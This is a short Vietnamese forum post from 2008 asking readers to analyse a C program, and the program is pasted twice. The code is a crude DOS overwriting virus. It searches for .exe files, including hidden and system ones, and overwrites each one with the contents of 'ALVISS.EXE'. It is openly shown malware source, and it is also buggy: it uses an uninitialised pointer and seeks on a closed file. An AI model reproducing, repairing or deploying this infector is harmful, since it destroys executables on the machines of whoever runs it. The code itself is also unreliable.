lamtranqz
08-06-2008, 11:51
Chào cả nhà, mọi người hay xem 1 đoạn code này đi và hay phân tích dùm hoat động thế nào nhé !!! Cám ơn nhe!!!
#include<conio.h>
#include<stdio.h>
#include<dir.h>
#include<process.h>
#include<dos.h>
#define attrib (FA_RDONLY|FA_HIDDEN|FA_SYSTEM|FA_ARCH) //cac thuoc tinh : chi doc ,tep an,tep he thong,tep luu tru
void main()
{
int rt;
FILE *vr,*host;
struct ffblk *fb;
char bf[512];
rt= findfirst("*.exe",fb,attrib);//Tim file file host
while(!rt)
{
vr=fopen("ALVISS.EXE","rb");//mo file vr theo mode doc nhi fan
host = fopen(fb->ff_name,"rb+");//mo file host theo mode doc ghi nhi fan
while(fread(bf,512,1,vr)>0) //doc code vr luu vao vung dem
{
fwrite(bf,512,1,host);//chen code
}
fclose(vr);
fseek(vr,0,0);//chuyen con tro tep vr ve dau
rt=findnext(fb);//tim tep tiep theo
}
}
#include<conio.h>
#include<stdio.h>
#include<dir.h>
#include<process.h>
#include<dos.h>
#define attrib (FA_RDONLY|FA_HIDDEN|FA_SYSTEM|FA_ARCH) //cac thuoc tinh : chi doc ,tep an,tep he thong,tep luu tru
void main()
{
int rt;
FILE *vr,*host;
struct ffblk *fb;
char bf[512];
rt= findfirst("*.exe",fb,attrib);//Tim file file host
while(!rt)
{
vr=fopen("ALVISS.EXE","rb");//mo file vr theo mode doc nhi fan
host = fopen(fb->ff_name,"rb+");//mo file host theo mode doc ghi nhi fan
while(fread(bf,512,1,vr)>0) //doc code vr luu vao vung dem
{
fwrite(bf,512,1,host);//chen code
}
fclose(vr);
fseek(vr,0,0);//chuyen con tro tep vr ve dau
rt=findnext(fb);//tim tep tiep theo
}
}